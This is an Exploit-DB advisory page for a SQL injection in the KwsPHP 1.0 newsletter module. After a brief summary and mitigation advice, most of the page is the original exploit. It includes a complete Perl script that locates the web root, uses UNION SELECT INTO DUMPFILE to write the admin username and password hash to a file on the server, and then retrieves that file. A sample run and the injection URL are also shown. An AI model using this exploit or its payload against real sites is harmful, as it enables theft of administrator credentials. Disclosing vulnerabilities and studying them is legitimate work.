KwsPHP ver 1.0 Newsletter Module

vendor:

KwsPHP

by:

S4mi

N/A

CVSS

N/A

Remote SQL injection Exploit

CWE

Product Name: KwsPHP

Affected Version From: KwsPHP version 1.0

Affected Version To: KwsPHP version 1.0

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

KwsPHP ver 1.0 Newsletter Module

This exploit allows remote attackers to inject SQL queries and retrieve sensitive information from the database. The vulnerability exists in the newsletter module of KwsPHP version 1.0. The exploit takes advantage of the magic_quotes_gpc setting being turned off. By manipulating the 'newsletter' parameter in the index.php file, an attacker can execute arbitrary SQL queries and retrieve data from the 'users' table. The extracted data includes the username and password of the admin user with ID 1. The exploit also demonstrates the ability to inject malicious code and save it as a file on the server.

Mitigation:

To mitigate this vulnerability, it is recommended to enable the magic_quotes_gpc setting in the server configuration or update to a patched version of KwsPHP. Additionally, input validation and parameterized queries should be implemented to prevent SQL injection attacks.

Source

Exploit-DB raw data:

##################################################
#	Script....................................: KwsPHP  ver 1.0 Newsletter Module
#	Script Site...........................: http://www.kwsphp.org
#	Vulnerability........................: Remote SQL injection Exploit
#	Access..................................: Remote
#	level......................................: Dangerous
#	Author..................................: S4mi 
#	Contact.................................: S4mi[at]LinuxMail.org 
##################################################
#Special Greetz to : Simo64, DrackaNz, Coder212, Iss4m, HarDose, r0_0t, ddx39 .....
#
##################################################
#This Exploit Only When magic_quotes_gpc Is OFF
#Vuln Files:
#\modules\newsletter\index.php
#               [code]
#
# line: 94	$req = reqmysql('SELECT pseudo,email FROM users WHERE email="'.$newsletter.'"') ;
# line: 95	$rep1 = mysql_fetch_object($req) ;
#                
#                  [/code]
#
#**************************************************************************

#Screen shot
#----------------
#C:\>KwsPHP.pl 127.0.0.1 /KwsPHP/

# Connecting .....[OK]
# Sending Data ...[OK]

#+ Getting the Full path.
#+ ---------------- +
#+ path: c:\public_html\kwsphp\

# Connecting .....[OK]
# Sending Data ...[OK]

#+ Getting the injected code.
#+ ---------------- +
#127.0.0.1/KwsPHP//index.php?mod=newsletter&avert_news=1&newsletter="union all select pseudo,concat(CHAR(58),CHAR(58),pass,CHAR(44)) from users where id=1 INTO DUMPFILE 'c:/public_html/kwsphp/images/l3eez.gif'/*
#+ ---------------- +

#+ injecting database.
#+ ---------------- +
#+ Done!

# Connecting .....[OK]
# Sending Data ...[OK]

#+ Getting user info.
#+ ---------------- +
#+ username: admin1
#+ Password: e10adc3949ba59abbe56e057f20f883e

#C:\>

###################################################

#!/usr/bin/perl

use IO::Socket ;

&header();

&usage unless(defined($ARGV[0] && $ARGV[1] ));

$host = $ARGV[0];
$path = $ARGV[1];

#print "User Name: ";
#$user = <STDIN>;
#chop ($user);

syswrite STDOUT ,"\n Connecting ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);
								
die "\n Unable to connect to $host\n" unless($sock);

syswrite STDOUT, "[OK]";

syswrite STDOUT ,"\n Sending Data ...";

print $sock "GET $path/index.php?mod=newsletter&avert_news=1&newsletter=\" HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Connection: Close\n\n";
syswrite STDOUT ,"[OK]\n\n";

while($answer = <$sock>){

if ($answer =~ /in <b>(.*?)\modul(.*?)92/){
print "+ Getting the Full path.\n";
print "+ ---------------- +\n";
print "+ path: $1\n";

# here we need to replace the  "\" by "/"  in the  $1 for the Windoz Servers (didn't 
$localpath = $1;
$fullpath = $localpath."images/l3eez.gif";
}

else
{
	print "\Can't find the full path\n";
	exit(0);
}
}

$inject = "union all select pseudo,concat(CHAR(58),CHAR(58),pass,CHAR(44)) from users where id=1 INTO DUMPFILE '$fullpath'/*";

syswrite STDOUT ,"\n Connecting ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);
								
die "\n Unable to connect to $host\n" unless($sock);

syswrite STDOUT, "[OK]";

syswrite STDOUT ,"\n Sending Data ...";
print $sock "GET $path/index.php?mod=newsletter&avert_news=1&newsletter=\"$inject HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Connection: Close\n\n";
syswrite STDOUT ,"[OK]\n\n";


print "+ Getting the injected code.\n";
print "+ ---------------- +\n";
print "$host$path/index.php?mod=newsletter&avert_news=1&newsletter=\"$inject \n";
print "+ ---------------- +\n\n";
print "+ injecting database.\n";
print "+ ---------------- +\n";


#here need to connect to the new created file created from the sql injection (user::password,)
syswrite STDOUT ,"\n Connecting ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);
								
die "\n Unable to connect to $host\n" unless($sock);

syswrite STDOUT, "[OK]";

syswrite STDOUT ,"\n Sending Data ...";

print $sock "GET $path/images/l3eez.gif HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Connection: Close\n\n";
syswrite STDOUT ,"[OK]\n\n";


while($answer = <$sock>){

if ($answer =~ /(.*?)::(.*?),/){
print "+ Getting user info.\n";
print "+ ---------------- +\n";
print "+ username: $1\n";
print "+ Password: $2\n";
}
}

sub usage{
	print "\nUsage   : perl $0 host /path/ ";
	print "\nExemple : perl $0 www.victim.com /KwsPHP/\n";
	exit(0);
}
sub header(){
print q(
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#	Script......................: KwsPHP  ver 1.0 Newsletter Module
#	Script Site.................: http://www.kwsphp.org
#	Vulnerability...............: Remote SQL injection Exploit
#	Access......................: Remote
#	level.......................: Dangerous
#	Author......................: S4mi 
#	Contact.....................: S4mi[at]LinuxMail.org 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
);
}

# milw0rm.com [2007-10-11]